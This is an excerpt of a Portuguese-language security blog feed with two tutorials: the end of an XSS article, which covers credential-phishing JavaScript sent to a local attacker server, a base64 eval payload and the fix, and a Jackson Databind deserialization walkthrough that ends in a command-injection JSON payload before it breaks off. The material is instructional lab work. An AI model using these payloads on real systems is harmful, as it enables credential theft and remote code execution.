https://blog.hackingclub.com/content/images/size/w2400/2024/06/03-2.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Nesse cen&#xE1;rios, nos encontramos um XSS Stored - DOM-Based, pois utiliza fun&#xE7;&#xF5;es &quot;inseguras&quot; do DOM para refletir os dados.</p><h2 id="causando-impactos-significativos-com-xss">Causando impactos significativos com XSS</h2><p>At&#xE9; nesse momento, vimos exemplos de explora&#xE7;&#xF5;es simples de XSS, por&#xE9;m, com a execu&#xE7;&#xE3;o de c&#xF3;digos JavaScript na p&#xE1;gina, podemos fazer centenas de coisas maliciosas. Algumas delas s&#xE3;o:</p><ul><li>Criar novos campos na p&#xE1;gina para campanhas de phishing</li><li>Roubar sess&#xF5;es do navegador da v&#xED;tima</li><li>Controlar o console do navegador da v&#xED;tima</li><li>Redirecionar a v&#xED;tima para um site malicioso</li></ul><p>Veja o c&#xF3;digo da imagem abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/04-2.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1427" height="807" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/04-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/04-2.png 1000w, https://blog.hackingclub.com/content/images/2024/06/04-2.png 1427w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que o c&#xF3;digo cria dois prompts para obter as credenciais do usu&#xE1;rio, e depois faz uma requisi&#xE7;&#xE3;o para o servidor do atacante (nesse caso, foi para localhost:8000), enviando as mesmas no par&#xE2;metro &quot;data&quot;.</p><p>Utilizamos o cyberchef para fazer o base64 encoding desse c&#xF3;digo, assim n&#xE3;o teremos problema de sintaxe ao enviar o c&#xF3;digo em uma payload de XSS.</p><p>Para executarmos o c&#xF3;digo, podemos fazer a seguinte payload:</p><pre><code>&lt;img src=x onerror=&quot;eval(atob(&apos;BASE64 HERE&apos;))&quot;&gt;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/05-3.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="2000" height="914" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/05-3.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/05-3.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/05-3.png 1600w, https://blog.hackingclub.com/content/images/size/w2400/2024/06/05-3.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Recarregando a p&#xE1;gina, vemos os seguintes prompts em nossa tela:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/06-2.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1265" height="894" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/06-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/06-2.png 1000w, https://blog.hackingclub.com/content/images/2024/06/06-2.png 1265w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/07-2.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1259" height="834" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/07-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/07-2.png 1000w, https://blog.hackingclub.com/content/images/2024/06/07-2.png 1259w" sizes="(min-width: 720px) 720px"></figure><p>Ao enviar as informa&#xE7;&#xF5;es, recebemos as mesmas em nosso servidor que est&#xE1; sendo executado na porta 8000:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/08-1.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="2000" height="245" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/08-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/08-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/06/08-1.png 1600w, https://blog.hackingclub.com/content/images/2024/06/08-1.png 2233w" sizes="(min-width: 720px) 720px"></figure><h2 id="corrigindo-o-xss">Corrigindo o XSS</h2><p>Para corrigir o XSS, podemos utilizar bibliotecas de sanitiza&#xE7;&#xE3;o, como DomPurify, ou podemos fazer o HTML Encoding dos dados, assim, impossibilitando com que o browser interprete as tags maliciosas inseridas pelo atacante.</p><p>Veja abaixo um exemplo de c&#xF3;digo utilizando a fun&#xE7;&#xE3;o de HTML Encoding (utilizada na linha 8):</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/01-6.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1478" height="471" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/01-6.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/01-6.png 1000w, https://blog.hackingclub.com/content/images/2024/06/01-6.png 1478w" sizes="(min-width: 720px) 720px"></figure><p>Enviando uma payload de XSS no par&#xE2;metro &quot;name&quot;, vemos que a mesma n&#xE3;o &#xE9; interpretada pelo navegador:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/06/02-3.png" class="kg-image" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web" loading="lazy" width="1511" height="365" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/06/02-3.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/06/02-3.png 1000w, https://blog.hackingclub.com/content/images/2024/06/02-3.png 1511w" sizes="(min-width: 720px) 720px"></figure><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://owasp.org/www-community/attacks/xss/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Cross Site Scripting (XSS) | OWASP Foundation</div><div class="kg-bookmark-description">Cross Site Scripting (XSS) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://owasp.org/www--site-theme/favicon.ico" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"><span class="kg-bookmark-author">OWASP logo</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://owasp.org/www--site-theme/favicon.ico" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://portswigger.net/burp/documentation/desktop/testing-workflow/input-validation/xss?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Cross-site scripting (XSS)</div><div class="kg-bookmark-description">Cross-site scripting (XSS) is a web security vulnerability that enables an attacker to manipulate a vulnerable web site so that it returns malicious&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://portswigger.net/content/images/logos/apple-touch-icon.png" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"><span class="kg-bookmark-author">PortSwigger</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://portswigger.net/content/images/logos/burpsuite-twittercard.png" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/crowsec-edtech/blog/tree/main/chall-xss-basic?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">blog/chall-xss-basic at main &#xB7; crowsec-edtech/blog</div><div class="kg-bookmark-description">Repository for labs of the crowsec blog. Contribute to crowsec-edtech/blog development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">crowsec-edtech</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/cb9e8fbbcc9ce45392417ae0a55c72ea86512619208d544a71499a2968bf69c1/crowsec-edtech/blog" alt="Cross-Site Scripting (XSS) &#x2014; Como Explorar e Prevenir essa Vulnerabilidade Web"></div></a></figure><h2 id="onde-praticar-cross-site-scripting">Onde praticar Cross-site Scripting ?</h2><p>Atualmente o <a href="https://app.hackingclub.com/?ref=blog.hackingclub.com" rel="noreferrer">hackingclub</a> possu&#xED; diversos labs em que podem ser explorados Cross-site Scripting (XSS), em diversos contextos e linguagens diferentes.</p><p>O Hacking Club &#xE9; uma plataforma de treinamento em cybersecurity, que permite voc&#xEA; aprender hacking de forma totalmente pr&#xE1;tica.</p><p>Temos mais de 200 ambientes com vulnerabilidades reais com write-ups para voc&#xEA; treinar e aprender hacking. <br><br>Semanalmente lan&#xE7;amos<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com"> <strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e se desafiar no hacking!<br><br>Se registre gratuitamente!</p>]]></content:encoded></item><item><title><![CDATA[Explorando Desserialização Insegura no Jackson Databind em Aplicações Java]]></title><description><![CDATA[<p>A <strong>desserializa&#xE7;&#xE3;o insegura</strong> &#xE9; uma vulnerabilidade cr&#xED;tica explorada em cen&#xE1;rios de <strong>Cyber Security</strong>, <strong>pentests</strong> e desafios de <strong>CTF (Capture The Flag)</strong>, permitindo que atacantes manipulem dados serializados para executar c&#xF3;digo malicioso ou comprometer aplica&#xE7;&#xF5;es. Neste artigo, voc&#xEA;</p>]]></description><link>https://blog.hackingclub.com/jackson-databind-rce/</link><guid isPermaLink="false">65de1871d192d0040d8ad24e</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Sun, 02 Jun 2024 05:07:14 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/jackson_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/jackson_-HC_BLOG-1.jpg" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java"><p>A <strong>desserializa&#xE7;&#xE3;o insegura</strong> &#xE9; uma vulnerabilidade cr&#xED;tica explorada em cen&#xE1;rios de <strong>Cyber Security</strong>, <strong>pentests</strong> e desafios de <strong>CTF (Capture The Flag)</strong>, permitindo que atacantes manipulem dados serializados para executar c&#xF3;digo malicioso ou comprometer aplica&#xE7;&#xF5;es. Neste artigo, voc&#xEA; entender&#xE1; os conceitos de <strong>serializa&#xE7;&#xE3;o</strong> e <strong>desserializa&#xE7;&#xE3;o</strong> e aprender&#xE1; como essa falha pode ser explorada na biblioteca <strong>Jackson Databind</strong>, amplamente utilizada no ecossistema Java.</p><h2 id="o-que-%C3%A9-jackson-databind">O que &#xE9; Jackson databind?</h2><p>O <strong>Jackson Databind</strong> &#xE9; um dos componentes mais populares para processamento de JSON em aplica&#xE7;&#xF5;es Java modernas, sendo amplamente adotado por frameworks como o <strong>Spring Boot</strong>. Essa biblioteca permite converter objetos Java em JSON e transformar estruturas JSON em objetos da aplica&#xE7;&#xE3;o &#x2014; um recurso essencial para APIs REST. No entanto, quando configurada de forma inadequada, pode abrir portas para ataques de desserializa&#xE7;&#xE3;o que afetam diretamente a seguran&#xE7;a da aplica&#xE7;&#xE3;o.</p><h3 id="serializa%C3%A7%C3%A3o-com-jackson-databind">Serializa&#xE7;&#xE3;o com Jackson databind</h3><p>Veja na imagem abaixo um c&#xF3;digo Java exemplificando como serializamos um Objeto do nosso c&#xF3;digo em um JSON utilizando o Jackson databind:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/01-create-json-string.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1204" height="286" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/01-create-json-string.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/01-create-json-string.png 1000w, https://blog.hackingclub.com/content/images/2024/02/01-create-json-string.png 1204w" sizes="(min-width: 720px) 720px"></figure><p>Esse treicho de c&#xF3;digo resulta em um JSON com as propriedades do objeto User:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/02-create-json-string-output.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1280" height="349" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/02-create-json-string-output.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/02-create-json-string-output.png 1000w, https://blog.hackingclub.com/content/images/2024/02/02-create-json-string-output.png 1280w" sizes="(min-width: 720px) 720px"></figure><p>Caso n&#xE3;o esteja claro, a serializa&#xE7;&#xE3;o &#xE9; a nomeclatura que damos ao processo de transformar um objeto (dado bin&#xE1;rio) em uma string (dado ascii).</p><p>C&#xF3;digo completo da rota:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/03-create-json-string-full-code-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1509" height="458" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/03-create-json-string-full-code-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/03-create-json-string-full-code-1.png 1000w, https://blog.hackingclub.com/content/images/2024/02/03-create-json-string-full-code-1.png 1509w" sizes="(min-width: 720px) 720px"></figure><h3 id="desserializa%C3%A7%C3%A3o-com-jackson-databind">Desserializa&#xE7;&#xE3;o com Jackson databind</h3><p>Veja na imagem abaixo um c&#xF3;digo Java exemplificando como desserializamos um JSON e transformamos o mesmo em um Objeto do nosso c&#xF3;digo utilizando o Jackson databind:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/04-decode-json-string-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1294" height="195" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/04-decode-json-string-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/04-decode-json-string-1.png 1000w, https://blog.hackingclub.com/content/images/2024/02/04-decode-json-string-1.png 1294w" sizes="(min-width: 720px) 720px"></figure><p>Esse treicho de c&#xF3;digo retorna o valor da propriedade &quot;name&quot; do Objeto &quot;User&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/05-decode-json-string-output.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1320" height="303" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/05-decode-json-string-output.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/05-decode-json-string-output.png 1000w, https://blog.hackingclub.com/content/images/2024/02/05-decode-json-string-output.png 1320w" sizes="(min-width: 720px) 720px"></figure><p>C&#xF3;digo completo da rota:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/06-decode-json-string-full-code.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1555" height="436" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/06-decode-json-string-full-code.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/06-decode-json-string-full-code.png 1000w, https://blog.hackingclub.com/content/images/2024/02/06-decode-json-string-full-code.png 1555w" sizes="(min-width: 720px) 720px"></figure><p>Detalhe importante: Na imagem abaixo, cont&#xE9;m o c&#xF3;digo respons&#xE1;vel pela declara&#xE7;&#xE3;o da vari&#xE1;vel &quot;this.objectMapper&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/07-define-object-mapper.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1070" height="265" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/07-define-object-mapper.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/07-define-object-mapper.png 1000w, https://blog.hackingclub.com/content/images/2024/02/07-define-object-mapper.png 1070w" sizes="(min-width: 720px) 720px"></figure><h2 id="a-brecha-do-jackson-databind">A brecha do Jackson databind</h2><p>No Jackson databind, existe uma fun&#xE7;&#xE3;o chamada &quot;enableDefaultTyping&quot;, essa fun&#xE7;&#xE3;o coloca &quot;tipagem&quot; no JSON serializado/desserializado.</p><p>A imagem abaixo mostra um treicho de c&#xF3;digo que utiliza essa fun&#xE7;&#xE3;o na inst&#xE2;ncia do &quot;ObjectMapper&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/08-enable-default-typing.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1159" height="242" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/08-enable-default-typing.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/08-enable-default-typing.png 1000w, https://blog.hackingclub.com/content/images/2024/02/08-enable-default-typing.png 1159w" sizes="(min-width: 720px) 720px"></figure><p>Com essa op&#xE7;&#xE3;o habilitada, vemos que o nome do objeto &#xE9; incluido em alguns JSONs. Exemplo na imagem abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/09-json-with-enabledefaulttyping.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1072" height="301" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/09-json-with-enabledefaulttyping.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/09-json-with-enabledefaulttyping.png 1000w, https://blog.hackingclub.com/content/images/2024/02/09-json-with-enabledefaulttyping.png 1072w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/10-json-with-enableddefaulttyping-code.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1184" height="231" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/10-json-with-enableddefaulttyping-code.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/10-json-with-enableddefaulttyping-code.png 1000w, https://blog.hackingclub.com/content/images/2024/02/10-json-with-enableddefaulttyping-code.png 1184w" sizes="(min-width: 720px) 720px"></figure><p>Da mesma maneira que o objeto serializado tem tipagem, tamb&#xE9;m podemos colocar tipagem JSON, assim quando a aplica&#xE7;&#xE3;o for fazer a desserializa&#xE7;&#xE3;o do mesmo, ela vai seguir a tipagem especificada no mesmo. Com isso, temos a possibilidade de controlar propriedades, getters e setters de outros objetos da aplica&#xE7;&#xE3;o.</p><h3 id="conhecendo-as-classes-do-c%C3%B3digo">Conhecendo as classes do c&#xF3;digo</h3><p>Na imagem abaixo, vemos uma classe que &#xE9; respons&#xE1;vel pelo carrinho de compras do usu&#xE1;rio:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/11-cart-model.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1048" height="278" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/11-cart-model.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/11-cart-model.png 1000w, https://blog.hackingclub.com/content/images/2024/02/11-cart-model.png 1048w" sizes="(min-width: 720px) 720px"></figure><p>A propriedade &quot;itens&quot;, recebe um array de strings, e a propriedade &quot;user&quot; recebe um Objeto (pelo fato de estar tipado como &quot;Object&quot;, podemos especificar qualquer objeto da aplica&#xE7;&#xE3;o nessa propriedade).</p><p>Na imagem abaixo, vemos outra classe que &#xE9; respons&#xE1;vel pelo sistema de Logs da aplica&#xE7;&#xE3;o:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/12-log-model.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1213" height="410" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/12-log-model.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/12-log-model.png 1000w, https://blog.hackingclub.com/content/images/2024/02/12-log-model.png 1213w" sizes="(min-width: 720px) 720px"></figure><p>A propriedade &quot;name&quot; e &quot;path&quot; recebe uma string, por&#xE9;m o Setter configurado para a propriedade &quot;path&quot;, seta o seu valor como &quot;o setter foi chamado&quot;.</p><p>Nosso objetivo &#xE9;: Controlar propriedades da classe &quot;Log&quot; atrav&#xE9;s da desserializa&#xE7;&#xE3;o do objeto &quot;Cart&quot;.</p><h2 id="explorando-desserializa%C3%A7%C3%A3o-insegura-no-jackson-databind">Explorando desserializa&#xE7;&#xE3;o insegura no Jackson databind</h2><p>Vemos que o c&#xF3;digo da imagem abaixo recebe um JSON do Request Body, e faz a desserializa&#xE7;&#xE3;o do mesmo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/13-post-mapping-root-code.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1475" height="428" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/13-post-mapping-root-code.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/13-post-mapping-root-code.png 1000w, https://blog.hackingclub.com/content/images/2024/02/13-post-mapping-root-code.png 1475w" sizes="(min-width: 720px) 720px"></figure><p>Na linha onde ocorre a desserializa&#xE7;&#xE3;o, o objeto &quot;Cart&quot; foi especificado como tipagem para o JSON, ou seja, precisamos enviar um JSON correspondente ao objeto &quot;Cart&quot;.</p><p>Enviando JSON (objeto &quot;Cart&quot; serializado):</p><pre><code>{
    &quot;itens&quot;: [
        &quot;abacate&quot;,
        &quot;abacaxi&quot;
    ],
    &quot;user&quot;: [
        &quot;com.example.demo.models.User&quot;,
        {
            &quot;name&quot;: &quot;John Doe&quot;,
            &quot;password&quot;: &quot;password123&quot;
        }
    ]
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/14-send-cart-json-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="2000" height="746" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/14-send-cart-json-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/14-send-cart-json-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/02/14-send-cart-json-1.png 1600w, https://blog.hackingclub.com/content/images/2024/02/14-send-cart-json-1.png 2324w" sizes="(min-width: 720px) 720px"></figure><p>Na propriedade &quot;user&quot;, foi necess&#xE1;rio especificar o path da classe &quot;User&quot;, pois como visto anteriormente, a propriedade foi tipada como &quot;Object&quot;, assim o c&#xF3;digo n&#xE3;o consegue identificar qual objeto foi especificado na mesma, sendo assim, necess&#xE1;rio especificar o path do objeto dentro do JSON (Isso s&#xF3; &#xE9; poss&#xED;vel pelo fato de que o enableDefaultTyping() foi utilizado).</p><p>Com o poder de especificarmos o tipo do objeto na propriedade &quot;user&quot;, podemos especificar o objeto &quot;Log&quot;, assim sendo poss&#xED;vel manipular o valor de suas propriedades e acessar os getters e setters da mesma:</p><pre><code>{
    &quot;itens&quot;: [
        &quot;abacate&quot;,
        &quot;abacaxi&quot;
    ],
    &quot;user&quot;: [
        &quot;com.example.demo.models.Log&quot;,
        {
            &quot;name&quot;: &quot;nome do log&quot;,
            &quot;path&quot;: &quot;/tmp/example.log&quot;
        }
    ]
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/15-send-cart-json-to-call-log-object-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1843" height="802" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/15-send-cart-json-to-call-log-object-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/15-send-cart-json-to-call-log-object-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/02/15-send-cart-json-to-call-log-object-1.png 1600w, https://blog.hackingclub.com/content/images/2024/02/15-send-cart-json-to-call-log-object-1.png 1843w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que o setter da propriedade &quot;path&quot; foi chamado.</p><p>Com o poder de acessarmos getters e setters de objetos arbitr&#xE1;rios do c&#xF3;digo, temos a possibilidade de obtermos File Read, File Write ou at&#xE9; mesmo um RCE.</p><p>Veja na imagem abaixo um c&#xF3;digo que poderiamos explorar para obtermos RCE:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/16-setter-for-path-propertie-rce.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1610" height="771" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/16-setter-for-path-propertie-rce.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/16-setter-for-path-propertie-rce.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/02/16-setter-for-path-propertie-rce.png 1600w, https://blog.hackingclub.com/content/images/2024/02/16-setter-for-path-propertie-rce.png 1610w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que o setter da propriedade &quot;path&quot; executa um comando no sistema e concatena o valor inserido na mesma dentro do comando executado. Com isso, podemos explorar um command injection atrav&#xE9;s da desserializa&#xE7;&#xE3;o.</p><p>Enviando um JSON que chama o objeto &quot;Log&quot; na propriedade &quot;user&quot;, conseguimos criar um arquivo de log em nosso sistema manipulando as propriedades &quot;name&quot; e &quot;path&quot;:</p><pre><code>{
    &quot;itens&quot;: [
        &quot;abacate&quot;,
        &quot;abacaxi&quot;
    ],
    &quot;user&quot;: [
        &quot;com.example.demo.models.Log&quot;,
        {
            &quot;name&quot;: &quot;example.log&quot;,
            &quot;path&quot;: &quot;/tmp&quot;
        }
    ]
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/17-send-malicious-json-to-create-log-file-1.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="1657" height="812" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/17-send-malicious-json-to-create-log-file-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/02/17-send-malicious-json-to-create-log-file-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2024/02/17-send-malicious-json-to-create-log-file-1.png 1600w, https://blog.hackingclub.com/content/images/2024/02/17-send-malicious-json-to-create-log-file-1.png 1657w" sizes="(min-width: 720px) 720px"></figure><p>Listando o diret&#xF3;rio &quot;/tmp&quot;, vemos que o arquivo realmente foi criado:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/02/18-list-tmp-log.png" class="kg-image" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura no Jackson Databind em Aplica&#xE7;&#xF5;es Java" loading="lazy" width="910" height="264" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/02/18-list-tmp-log.png 600w, https://blog.hackingclub.com/content/images/2024/02/18-list-tmp-log.png 910w" sizes="(min-width: 720px) 720px"></figure><p>Por&#xE9;m, como dito anteriormente, podemos obter um RCE explorando um command injection atrav&#xE9;s da desserializa&#xE7;&#xE3;o. Para isso, podemos utilizar o &quot;;&quot; na propriedade &quot;path&quot; ou na propriedade &quot;name&quot;:</p><pre><code>{
    &quot;itens&quot;: [
        &quot;abacate&quot;,
        &quot;abacaxi&quot;
    ],
    &quot;user&quot;: [
        &quot;com.example.demo.models.Log&quot;,
        {
            &quot;name&quot;: &quot;example.log; id &gt; /tmp/example.log&quot;,
            &quot;path&quot;: &quot;/tmp&quot;
        }
    ]
